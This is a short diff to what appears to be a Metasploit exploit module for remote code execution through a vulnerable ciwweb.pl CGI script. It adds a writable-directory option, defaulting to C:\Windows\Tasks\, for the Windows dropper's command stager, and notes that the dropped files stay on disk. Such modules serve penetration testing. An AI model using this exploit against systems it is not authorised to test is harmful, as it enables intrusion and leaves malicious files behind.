@@ -85,7 +85,7 @@ def initialize(info = {})
8585 'DisclosureDate' => '2025-07-16' ,
8686 'Notes' => {
8787 'Stability' => [ CRASH_SAFE ] ,
88- 'SideEffects' => [ IOC_IN_LOGS ] ,
88+ 'SideEffects' => [ IOC_IN_LOGS , ARTIFACTS_ON_DISK ] ,
8989 'Reliability' => [ REPEATABLE_SESSION ]
9090 }
9191 )
@@ -95,6 +95,7 @@ def initialize(info = {})
9595 [
9696 OptString . new ( 'TARGETURI' , [ true , 'Path to vulnerable ciwweb.pl' , '/cgi-bin/ciwweb.pl' ] ) ,
9797 OptString . new ( 'STUDYNAME' , [ false , 'Value for the hid_studyname GET parameter' , '' ] ) ,
98+ OptString . new ( 'WritableDir' , [ false , 'Writable directory for Windows Dropper' , 'C:\\Windows\\Tasks\\' ] )
9899 ]
99100 )
100101 end
@@ -163,7 +164,10 @@ def exploit
163164
164165 case target [ 'Type' ]
165166 when :windows_dropper
166- execute_cmdstager ( temp : '.' )
167+ # This applies only to Windows
168+ # The RCE doesn’t resolve environment variables like %TEMP%, so the path must be specified explicitly
169+ # Files on the disk are also not deleted
170+ execute_cmdstager ( temp : datastore [ 'WritableDir' ] )
167171 when :nix_dropper
168172 execute_cmdstager
169173 when :windows_command , :nix_command
0 commit comments